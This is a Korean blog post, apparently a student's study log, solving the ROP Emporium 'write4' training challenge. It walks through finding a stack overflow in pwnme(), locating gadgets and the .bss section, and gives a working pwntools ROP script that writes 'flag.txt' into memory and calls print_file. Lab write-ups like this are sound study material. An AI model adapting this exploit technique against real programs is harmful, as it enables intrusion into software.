혜랑's STORY

[ROP Emporium] write4 본문

2021 SISS 21기 활동/여름방학 System

[ROP Emporium] write4

hyerang0125 2021. 8. 19. 16:21

일단 바이너리 파일을 실행시켜 보았다.

> 뒤에 입력을 받아서 AAAAAAAAAA를 입력해 주었고, Thank you! 라는 문장이 출력되며 프로그램이 종료되었다.

checksec으로 바이너리 파일을 열어보자.

64bit 바이너리 파일이었고, Partial RELRO와 NX가 적용되어 있었다. Partial RELRO가 적용되어 있는 것으로 보아 got overwrite가 가능하다.

IDA로 바이너리 파일을 열어보니

write4 main()

pwnm() 함수를 호출하고 있었고 pwnme() 함수는

libwrite4.so pwnme()

read() 함수를 통해 s를 입력받은 때 선언된 s보다 더 많은 값을 입력받을 수 있어 overflow 취약점이 발생하게 된다.

함수 목록에서 usefulFunction() 함수를 발견하였다.

write4 usefulFunction()

print_file() 함수를 반환하여 파일을 출력하는 함수인 것 같다.

libwrite4.so print_file()

즉, print_file의 인자로 "flag.txt"를 넘겨 플래그를 출력하는 문제인 것 같다.

ROPgadget --binary write4 | grep "pop"

pop rdi; ret

objdump를 사용하여 바이너리 파일의 정보를 보았는데 usefulGadgets 라는 것을 발견하였다.

objdumpp -M intel -d ./write4

레지스터 r15에 저장되어 있는 값을 r14에 저장한다는 것을 알 수 있었고 이를 이용하여 r14에 bss영역을 저장하고 r15로 "flag.txt"를 넣을 것이다. 최종적으로는 r14에 "flag.txt"가 저장되게 된다.

pop r14; pop r15; ret

readelf -S ./write4

bss 영역

Exploit Code

from pwn import *

p = process("./write4")
e = ELF("./write4")
libc = e.libc

pop_rdi = 0x400693
r14r15 = 0x400690
bss = 0x601040

payload = 'A' * (0x20 + 0x8)
payload += p64(r14r15)
payload += p64(bss)
payload += "flag.txt"
payload += p64(e.symbols['usefulGadgets'])

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(e.symbols['print_file'])

p.sendlineafter('> ', payload)

p.interactive()

결과

 

'2021 SISS 21기 활동 > 여름방학 System' 카테고리의 다른 글

[picoCTF] Here's a Libc  (0) 2021.08.11
[pwnable.xyz] add  (0) 2021.08.07
[pwnable.xyz] sub  (1) 2021.08.06
[HackCTF] Random key 풀이  (0) 2021.07.31
[HackCTF] RTC 풀이  (0) 2021.07.31